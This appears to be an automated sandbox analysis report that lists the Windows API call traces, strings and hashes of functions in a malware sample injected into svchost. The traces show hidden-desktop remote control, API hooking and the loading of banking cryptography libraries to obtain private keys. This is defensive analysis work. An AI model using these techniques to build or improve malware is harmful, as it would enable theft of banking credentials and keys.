                                                                                                                                                                                                              • Part of subcall function 02D0D7A0: GetComputerNameA.KERNEL32(02D4F588,?), ref: 02D0D7B7
                                                                                                                                                                                                              • Part of subcall function 02D0D7A0: lstrlenA.KERNEL32(02D4F588,?,?,?,02D1714F), ref: 02D0D7C2
                                                                                                                                                                                                              • Part of subcall function 02D0D7A0: wsprintfA.USER32 ref: 02D0D802
                                                                                                                                                                                                              • Part of subcall function 02D0D7A0: wsprintfA.USER32 ref: 02D0D812
                                                                                                                                                                                                              • Part of subcall function 02D0D7A0: wsprintfA.USER32 ref: 02D0D822
                                                                                                                                                                                                              • Part of subcall function 02D0D7A0: wsprintfA.USER32 ref: 02D0D82F
                                                                                                                                                                                                              • Part of subcall function 02D0D7A0: wsprintfA.USER32 ref: 02D0D83C
                                                                                                                                                                                                            • RegisterWindowMessageA.USER32(a3b7feb4a), ref: 02D0BA77
                                                                                                                                                                                                            • OpenFileMappingA.KERNEL32(000F001F,00000000,02D4F5A0), ref: 02D0BAA0
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(001F0001,00000000,02D4F670), ref: 02D0BAB3
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(001F0001,00000000,02D4F630), ref: 02D0BACA
                                                                                                                                                                                                            • MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000000), ref: 02D0BAE6
                                                                                                                                                                                                            • Sleep.KERNEL32(000000C8), ref: 02D0BAF6
                                                                                                                                                                                                            • GetCurrentThreadId.KERNEL32 ref: 02D0BAFE
                                                                                                                                                                                                            • GetThreadDesktop.USER32(00000000,00000002,?,00000100,?), ref: 02D0BB17
                                                                                                                                                                                                            • GetUserObjectInformationA.USER32(00000000), ref: 02D0BB1E
                                                                                                                                                                                                            • lstrcmpiA.KERNEL32(?,a3b7feb4a), ref: 02D0BB34
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02D0BB60
                                                                                                                                                                                                            • OpenFileMappingA.KERNEL32(000F001F,00000000,02D4F54C), ref: 02D0BB6E
                                                                                                                                                                                                            • MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000000), ref: 02D0BB81
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02D0BBB8
                                                                                                                                                                                                            • CloseHandle.KERNEL32(?), ref: 02D0BBCC
                                                                                                                                                                                                            • Sleep.KERNEL32(000000C8), ref: 02D0BBD7
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02D0BBE4
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02D0BBEF
                                                                                                                                                                                                            • OpenFileMappingA.KERNEL32(000F001F,00000000,02D4F54C), ref: 02D0BBFD
                                                                                                                                                                                                            • MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000000), ref: 02D0BC10
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02D0BC25
                                                                                                                                                                                                            • OpenEventA.KERNEL32(001F0003,00000000,02D4F5DC), ref: 02D0BC33
                                                                                                                                                                                                            • GetTickCount.KERNEL32 ref: 02D0BC3E
                                                                                                                                                                                                            • LoadLibraryExA.KERNEL32(user32.dll,00000000,00000000), ref: 02D0BC52
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,DefWindowProcW), ref: 02D0BC8C
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,DefWindowProcA), ref: 02D0BCAC
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,DefDlgProcW), ref: 02D0BCCC
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,DefDlgProcA), ref: 02D0BCEC
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,DefFrameProcW), ref: 02D0BD0C
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,DefFrameProcA), ref: 02D0BD2C
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,DefMDIChildProcW), ref: 02D0BD4C
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,DefMDIChildProcA), ref: 02D0BD6C
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,CallWindowProcW), ref: 02D0BD8C
                                                                                                                                                                                                              • Part of subcall function 02D1A040: VirtualAlloc.KERNEL32(00000000,-00000008,00003000,00000040,7591F550,00000000,75A7BD50,?,?,?,02D1938A,00000000,02D191E0,02D5A04C), ref: 02D1A078
                                                                                                                                                                                                              • Part of subcall function 02D1A040: memcpy.MSVCRT ref: 02D1A0A0
                                                                                                                                                                                                              • Part of subcall function 02D1A040: VirtualProtect.KERNEL32(00000000,?,00000040,02D1938A,?,?,?,?,?,?,02D1938A,00000000,02D191E0,02D5A04C), ref: 02D1A135
                                                                                                                                                                                                              • Part of subcall function 02D1A040: VirtualProtect.KERNEL32(?,00000000,00000040,02D1938A,?,?,?,?,?,?,02D1938A,00000000,02D191E0,02D5A04C), ref: 02D1A14A
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,CallWindowProcA), ref: 02D0BDAC
                                                                                                                                                                                                              • Part of subcall function 02D1A040: VirtualProtect.KERNEL32(?,00000000,02D1938A,?,?,?,00000000,00000000,?,?,?,?,?,?,02D1938A,00000000), ref: 02D1A17A
                                                                                                                                                                                                              • Part of subcall function 02D1A040: VirtualProtect.KERNEL32(?,00000000,02D1938A,?,?,?,?,?,?,?,02D1938A,00000000,02D191E0,02D5A04C), ref: 02D1A186
                                                                                                                                                                                                              • Part of subcall function 02D1A040: GetCurrentProcess.KERNEL32(00000000,00000000,7591F550,00000000,75A7BD50,?,?,?,02D1938A,00000000,02D191E0,02D5A04C), ref: 02D1A197
                                                                                                                                                                                                              • Part of subcall function 02D1A040: FlushInstructionCache.KERNEL32(00000000,?,?,?,02D1938A,00000000,02D191E0,02D5A04C), ref: 02D1A19E
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 02D0BDCC
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,RegisterClassA), ref: 02D0BDEC
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,RegisterClassExA), ref: 02D0BE0C
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,RegisterClassExW), ref: 02D0BE2C
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,PeekMessageW), ref: 02D0BE4C
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,PeekMessageA), ref: 02D0BE6C
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,OpenInputDesktop), ref: 02D0BE8C
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,OpenDesktopA), ref: 02D0BEAC
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,OpenDesktopW), ref: 02D0BECC
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,SwitchDesktop), ref: 02D0BEEC
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,MessageBeep), ref: 02D0BF0C
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,FlashWindowEx), ref: 02D0BF2C
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,GetCursorPos), ref: 02D0BF4C
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,SetCursorPos), ref: 02D0BF6C
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,GetMessagePos), ref: 02D0BF8C
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,SetCapture), ref: 02D0BFAC
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,ReleaseCapture), ref: 02D0BFCC
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,GetCapture), ref: 02D0BFEC
                                                                                                                                                                                                            • LoadLibraryExA.KERNEL32(Winmm.dll,00000000,00000000,00000000,02D0B880,02D4EB4C), ref: 02D0C013
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,PlaySoundW), ref: 02D0C025
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,PlaySoundA), ref: 02D0C045
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,sndPlaySoundW), ref: 02D0C065
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,sndPlaySoundA), ref: 02D0C085
                                                                                                                                                                                                            • LoadLibraryExA.KERNEL32(Kernel32.dll,00000000,00000000,00000000,02D0B470,02D4EB64), ref: 02D0C0A4
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,Beep), ref: 02D0C0B0
                                                                                                                                                                                                            • LoadLibraryExA.KERNEL32(Gdi32.dll,00000000,00000000,00000000,02D0B4B0,02D4EB78), ref: 02D0C0CF
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,SetDIBitsToDevice), ref: 02D0C0DB
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: AddressProc$FileOpen$Virtualwsprintf$LibraryLoadMutexProtect$CurrentMappingObjectView$HandleInformationProcessReleaseSingleSleepThreadWait$AllocCacheCloseComputerCountCreateDesktopEventFlushHeapInstructionMessageNameRegisterTickUserWindowlstrcmpilstrlenmemcpy
                                                                                                                                                                                                            • String ID: Beep$CallWindowProcA$CallWindowProcW$DefDlgProcA$DefDlgProcW$DefFrameProcA$DefFrameProcW$DefMDIChildProcA$DefMDIChildProcW$DefWindowProcA$DefWindowProcW$FlashWindowEx$Gdi32.dll$GetCapture$GetCursorPos$GetMessagePos$Kernel32.dll$MessageBeep$OpenDesktopA$OpenDesktopW$OpenInputDesktop$PeekMessageA$PeekMessageW$PlaySoundA$PlaySoundW$RegisterClassA$RegisterClassExA$RegisterClassExW$RegisterClassW$ReleaseCapture$SetCapture$SetCursorPos$SetDIBitsToDevice$SwitchDesktop$Winmm.dll$a3b7feb4a$sndPlaySoundA$sndPlaySoundW$user32.dll
                                                                                                                                                                                                            • API String ID: 1664322764-1283114219
                                                                                                                                                                                                            • Opcode ID: efebd51d8794fe147799089b21ef5eae60c707380196acad98895e2a5d32a7a8
                                                                                                                                                                                                            • Instruction ID: 8d3596dbbdccba4441541965d5b4ffec28d8c68164bf8b0acc9758121e9a63bd
                                                                                                                                                                                                            • Opcode Fuzzy Hash: efebd51d8794fe147799089b21ef5eae60c707380196acad98895e2a5d32a7a8
                                                                                                                                                                                                            • Instruction Fuzzy Hash: C4D15574BC1306B7FA206B727CD6F5B2B9C6B14A88F2409127903B17D5DEA8EC49C974
                                                                                                                                                                                                            Function 02D15230 Relevance: 114.1, APIs: 43, Strings: 22, Instructions: 302libraryloaderthreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D15251
                                                                                                                                                                                                            • GetModuleFileNameA.KERNEL32(00000000,00000000,00000104,7591F550,74E17390,75920A60), ref: 02D15267
                                                                                                                                                                                                            • AddVectoredExceptionHandler.KERNEL32(00000001,02D03AE0), ref: 02D15274
                                                                                                                                                                                                            • CreateMutexA.KERNEL32(00000000,00000000,00000000), ref: 02D1528F
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D1A2B0,00000000,00000000,00000000), ref: 02D152A9
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D152C1
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D152D2
                                                                                                                                                                                                            • InitializeCriticalSection.KERNEL32(02D4FB50), ref: 02D152E3
                                                                                                                                                                                                            • LoadLibraryExA.KERNEL32(user32.dll,00000000,00000000), ref: 02D152F9
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,GetClipboardData), ref: 02D1530B
                                                                                                                                                                                                            • LoadLibraryExA.KERNEL32(user32.dll,00000000,00000000), ref: 02D1532A
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,TranslateMessage), ref: 02D15338
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,GetMessageA), ref: 02D15354
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,GetMessageW), ref: 02D15370
                                                                                                                                                                                                            • InitializeCriticalSection.KERNEL32(02D4FB38), ref: 02D1538B
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(ntdll.dll), ref: 02D15392
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,ZwQuerySystemInformation), ref: 02D153A2
                                                                                                                                                                                                            • GetCurrentProcessId.KERNEL32(00000000,02D07760,02D59E88), ref: 02D153B8
                                                                                                                                                                                                            • GetCurrentThreadId.KERNEL32 ref: 02D153D3
                                                                                                                                                                                                            • GetThreadDesktop.USER32(00000000,00000002,?,00000100,?), ref: 02D153E8
                                                                                                                                                                                                            • GetUserObjectInformationA.USER32(00000000), ref: 02D153EF
                                                                                                                                                                                                            • lstrcmpiA.KERNEL32(?,a3b7feb4a), ref: 02D15401
                                                                                                                                                                                                            • LoadLibraryExA.KERNEL32(user32.dll,00000000,00000000), ref: 02D1541B
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,SetThreadDesktop), ref: 02D1542B
                                                                                                                                                                                                            • GetCurrentProcessId.KERNEL32(00000000,02D0B930,02D4EB74), ref: 02D15441
                                                                                                                                                                                                            • GetCurrentThreadId.KERNEL32 ref: 02D15450
                                                                                                                                                                                                            • GetThreadDesktop.USER32(00000000,00000002,?,00000100,?), ref: 02D15465
                                                                                                                                                                                                            • GetUserObjectInformationA.USER32(00000000), ref: 02D1546C
                                                                                                                                                                                                            • lstrcmpiA.KERNEL32(?,a3b7feb4a), ref: 02D1547E
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(00000000,java), ref: 02D154B2
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(00000000,.exe), ref: 02D154C4
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(00000000,frd.exe), ref: 02D154DA
                                                                                                                                                                                                            • LoadLibraryExA.KERNEL32(ws2_32.dll,00000000,00000000), ref: 02D154F1
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 02D154FF
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,gethostbyname), ref: 02D1551B
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,inet_addr), ref: 02D15537
                                                                                                                                                                                                            • InitializeCriticalSection.KERNEL32(02D4FB20), ref: 02D15552
                                                                                                                                                                                                            • LoadLibraryExA.KERNEL32(sks2xyz.dll,00000000,00000000), ref: 02D1557F
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,vb_pfx_import), ref: 02D1558B
                                                                                                                                                                                                            • LoadLibraryExA.KERNEL32(FilialRCon.dll,00000000,00000000), ref: 02D155AA
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,RCN_R50Buffer), ref: 02D155B6
                                                                                                                                                                                                            • LoadLibraryExA.KERNEL32(mespro.dll,00000000,00000000), ref: 02D155D5
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,AddPSEPrivateKeyEx), ref: 02D155E1
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: AddressProc$LibraryLoad$Thread$Current$CriticalHandleInformationInitializeSection$CreateDesktopModuleObjectProcessUserlstrcmpi$CloseExceptionFileHandlerMutexNameVectoredmemset
                                                                                                                                                                                                            • String ID: .exe$AddPSEPrivateKeyEx$FilialRCon.dll$GetClipboardData$GetMessageA$GetMessageW$RCN_R50Buffer$SetThreadDesktop$TranslateMessage$ZwQuerySystemInformation$a3b7feb4a$frd.exe$getaddrinfo$gethostbyname$inet_addr$java$mespro.dll$ntdll.dll$sks2xyz.dll$user32.dll$vb_pfx_import$ws2_32.dll
                                                                                                                                                                                                            • API String ID: 1248150503-2514233154
                                                                                                                                                                                                            • Opcode ID: d15c6664f98fa912d60a3f2eb5337aca0d9d44c6a94f0e7c1391e0efb71eebe3
                                                                                                                                                                                                            • Instruction ID: 4b1bbf0b6b1159e3903423ee4982be94c03dcf003c9e78eaadfc4ac5a63c7587
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d15c6664f98fa912d60a3f2eb5337aca0d9d44c6a94f0e7c1391e0efb71eebe3
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 7291AD75BC03157BFA20ABB1BC4AF5A27989B54B44F940510B902F6B85DFE8ED08CA74
                                                                                                                                                                                                            Function 02D0D130 Relevance: 101.9, APIs: 55, Strings: 3, Instructions: 429windowsynchronizationmemoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetWindowLongA.USER32(?,000000F0), ref: 02D0D18F
                                                                                                                                                                                                            • SetWindowLongA.USER32(?,000000F0,00000000), ref: 02D0D19A
                                                                                                                                                                                                            • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000027), ref: 02D0D1AD
                                                                                                                                                                                                            • GetDlgItem.USER32(?,?), ref: 02D0D1C2
                                                                                                                                                                                                            • GetWindowLongA.USER32(00000000,000000EB), ref: 02D0D1D1
                                                                                                                                                                                                            • SetWindowTextA.USER32(?,-00000008), ref: 02D0D1DD
                                                                                                                                                                                                            • GetWindowLongA.USER32(00000000,000000F0), ref: 02D0D1EC
                                                                                                                                                                                                            • SetWindowLongA.USER32(00000000,000000F0,00000000), ref: 02D0D1F7
                                                                                                                                                                                                            • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000027), ref: 02D0D20A
                                                                                                                                                                                                            • GetDlgItem.USER32(?,000003E9), ref: 02D0D248
                                                                                                                                                                                                            • GetClassLongA.USER32(00000000,000000E6), ref: 02D0D258
                                                                                                                                                                                                            • SetClassLongA.USER32(00000000,000000E6,00000000), ref: 02D0D267
                                                                                                                                                                                                            • SendMessageA.USER32(?,00000031,00000000,00000000), ref: 02D0D27F
                                                                                                                                                                                                            • GetObjectA.GDI32(00000000,0000003C,?), ref: 02D0D289
                                                                                                                                                                                                            • CreateFontIndirectA.GDI32 ref: 02D0D29F
                                                                                                                                                                                                            • SendMessageA.USER32(?,00000030,00000000,00000000), ref: 02D0D2AF
                                                                                                                                                                                                            • GetWindow.USER32(00000000,00000005), ref: 02D0D2E7
                                                                                                                                                                                                            • GetWindow.USER32(00000000), ref: 02D0D2EA
                                                                                                                                                                                                            • GetWindowInfo.USER32(00000000,?), ref: 02D0D2FE
                                                                                                                                                                                                            • GetWindowRect.USER32(?,?), ref: 02D0D363
                                                                                                                                                                                                            • SetWindowPos.USER32(?,00000000,?,?,00000116,?,00000200), ref: 02D0D38D
                                                                                                                                                                                                            • GetClientRect.USER32(?,?), ref: 02D0D399
                                                                                                                                                                                                            • MoveWindow.USER32(?,00000009,00000014,000000FC,00000014,00000001), ref: 02D0D3B5
                                                                                                                                                                                                            • CreateWindowExA.USER32(00000000,static,00000000,50000003,?,0000000A,00000023,00000027,?,00000000,00000000,00000000), ref: 02D0D3DA
                                                                                                                                                                                                            • SetWindowLongA.USER32(00000000,000000F4,?), ref: 02D0D3EC
                                                                                                                                                                                                            • GetClassLongA.USER32(00000000,000000E6), ref: 02D0D3F5
                                                                                                                                                                                                            • SetClassLongA.USER32(00000000,000000E6,00000000), ref: 02D0D404
                                                                                                                                                                                                            • GetWindowTextLengthA.USER32(00000000), ref: 02D0D40B
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,00000008,0000000C), ref: 02D0D41F
                                                                                                                                                                                                            • SetWindowLongA.USER32(00000000,000000EB,00000000), ref: 02D0D443
                                                                                                                                                                                                            • SendMessageA.USER32(00000000,0000007F,00000001,00000000), ref: 02D0D450
                                                                                                                                                                                                            • GetWindowThreadProcessId.USER32(00000000,?), ref: 02D0D460
                                                                                                                                                                                                            • GetClassLongA.USER32(00000000,000000DE), ref: 02D0D47C
                                                                                                                                                                                                            • GetClassLongA.USER32(00000000,000000F2), ref: 02D0D485
                                                                                                                                                                                                            • LoadIconA.USER32(00000000,00007F00), ref: 02D0D491
                                                                                                                                                                                                            • SendMessageA.USER32(00000000,00000172,00000001,00000000), ref: 02D0D4AB
                                                                                                                                                                                                            • GetWindowLongA.USER32(00000000,000000F0), ref: 02D0D4D4
                                                                                                                                                                                                            • SetWindowLongA.USER32(00000000,000000F0,00000000), ref: 02D0D4E3
                                                                                                                                                                                                            • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000027), ref: 02D0D4F6
                                                                                                                                                                                                            • GetWindow.USER32(00000000,00000003), ref: 02D0D519
                                                                                                                                                                                                            • IsIconic.USER32(?), ref: 02D0D537
                                                                                                                                                                                                            • ShowWindow.USER32(?,00000001), ref: 02D0D544
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02D0D553
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02D0D56B
                                                                                                                                                                                                              • Part of subcall function 02D0D0E0: GetWindowThreadProcessId.USER32(?,00000000), ref: 02D0D0EC
                                                                                                                                                                                                              • Part of subcall function 02D0D0E0: GetCurrentThreadId.KERNEL32 ref: 02D0D0F4
                                                                                                                                                                                                              • Part of subcall function 02D0D0E0: AttachThreadInput.USER32(00000000,00000000,00000001), ref: 02D0D100
                                                                                                                                                                                                              • Part of subcall function 02D0D0E0: SendMessageA.USER32(?,0000000D,?,?), ref: 02D0D111
                                                                                                                                                                                                              • Part of subcall function 02D0D0E0: AttachThreadInput.USER32(00000000,00000000,00000000), ref: 02D0D11D
                                                                                                                                                                                                            • PostMessageA.USER32(?,00000010,00000000,00000000), ref: 02D0D578
                                                                                                                                                                                                            • GetDlgItem.USER32(?,?), ref: 02D0D5E7
                                                                                                                                                                                                            • GetWindowLongA.USER32(00000000), ref: 02D0D5EE
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02D0D5FE
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02D0D618
                                                                                                                                                                                                            • GetDlgItem.USER32(?,00000000), ref: 02D0D62D
                                                                                                                                                                                                            • GetWindowLongA.USER32(00000000,000000EB), ref: 02D0D63C
                                                                                                                                                                                                            • DeleteObject.GDI32(?), ref: 02D0D648
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,00000000,00000000), ref: 02D0D657
                                                                                                                                                                                                            • DestroyWindow.USER32(00000000), ref: 02D0D65E
                                                                                                                                                                                                            • EndDialog.USER32(?,00000000), ref: 02D0D673
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Window$Long$ClassMessage$SendThread$ItemObject$AttachCreateHeapInputMutexProcessRectReleaseSingleTextWait$AllocClientCurrentDeleteDestroyDialogFontFreeIconIconicIndirectInfoLengthLoadMovePostShow
                                                                                                                                                                                                            • String ID: '$<$static
                                                                                                                                                                                                            • API String ID: 2592195760-1233416523
                                                                                                                                                                                                            • Opcode ID: 3ac3f34be8511b5b119ffe572b6b7f56ba7f8e261cb12efba26d0d7145a7decc
                                                                                                                                                                                                            • Instruction ID: f3ea9c4b2205d511f2bf0ae944b97fd4e41cecde1cd8e87db370f5723901dd2b
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 3ac3f34be8511b5b119ffe572b6b7f56ba7f8e261cb12efba26d0d7145a7decc
                                                                                                                                                                                                            • Instruction Fuzzy Hash: F7E19279984300AFD3208FA4EC88F6A77E9EB99725F904A09F915EB3D0C7749C51CB61
                                                                                                                                                                                                            Function 02D09360 Relevance: 80.8, APIs: 41, Strings: 5, Instructions: 320sleepprocessthreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                              • Part of subcall function 02D24B30: RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows NT\CurrentVersion\Winlogon,00000000,00000101,?), ref: 02D24B60
                                                                                                                                                                                                              • Part of subcall function 02D24B30: GetProcessHeap.KERNEL32(00000008,00000110), ref: 02D24B79
                                                                                                                                                                                                              • Part of subcall function 02D24B30: HeapAlloc.KERNEL32(00000000), ref: 02D24B7C
                                                                                                                                                                                                              • Part of subcall function 02D24B30: memset.MSVCRT ref: 02D24B90
                                                                                                                                                                                                              • Part of subcall function 02D24B30: RegQueryValueExA.ADVAPI32(?,Shell,00000000,00000001,00000000,00000104), ref: 02D24BB0
                                                                                                                                                                                                              • Part of subcall function 02D24B30: RegCloseKey.ADVAPI32(?), ref: 02D24BC0
                                                                                                                                                                                                              • Part of subcall function 02D24B30: GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D24BD1
                                                                                                                                                                                                              • Part of subcall function 02D24B30: HeapValidate.KERNEL32(00000000), ref: 02D24BD4
                                                                                                                                                                                                              • Part of subcall function 02D24B30: GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D24BE1
                                                                                                                                                                                                              • Part of subcall function 02D24B30: HeapFree.KERNEL32(00000000), ref: 02D24BE4
                                                                                                                                                                                                            • CreateDesktopA.USER32 ref: 02D093BF
                                                                                                                                                                                                            • SetThreadDesktop.USER32(00000000), ref: 02D093DA
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D093E8
                                                                                                                                                                                                            • SHGetFolderPathA.SHELL32 ref: 02D09420
                                                                                                                                                                                                            • PathAppendA.SHLWAPI(?,00000000), ref: 02D09442
                                                                                                                                                                                                            • CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 02D09461
                                                                                                                                                                                                            • GetShellWindow.USER32 ref: 02D0946D
                                                                                                                                                                                                            • Sleep.KERNEL32(0000000A), ref: 02D09482
                                                                                                                                                                                                            • GetShellWindow.USER32 ref: 02D09484
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(?,000000FF), ref: 02D094B1
                                                                                                                                                                                                            • CloseHandle.KERNEL32(?), ref: 02D094C3
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,000000FF), ref: 02D094DD
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D094EF
                                                                                                                                                                                                            • GetDesktopWindow.USER32 ref: 02D094F5
                                                                                                                                                                                                            • FindWindowA.USER32(Shell_TrayWnd,00000000), ref: 02D09506
                                                                                                                                                                                                            • SetThreadDesktop.USER32(?), ref: 02D0959E
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D095AF
                                                                                                                                                                                                            • SHGetFolderPathA.SHELL32 ref: 02D095ED
                                                                                                                                                                                                            • PathAppendA.SHLWAPI(?,00000000), ref: 02D0960F
                                                                                                                                                                                                            • CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 02D09631
                                                                                                                                                                                                            • GetShellWindow.USER32 ref: 02D0963D
                                                                                                                                                                                                            • Sleep.KERNEL32(0000000A), ref: 02D09652
                                                                                                                                                                                                            • GetShellWindow.USER32 ref: 02D09654
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(?,00000024), ref: 02D09683
                                                                                                                                                                                                            • CloseHandle.KERNEL32(?), ref: 02D09691
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(?,00000024), ref: 02D096AB
                                                                                                                                                                                                            • CloseHandle.KERNEL32(?), ref: 02D096B9
                                                                                                                                                                                                            • GetDesktopWindow.USER32 ref: 02D096BF
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
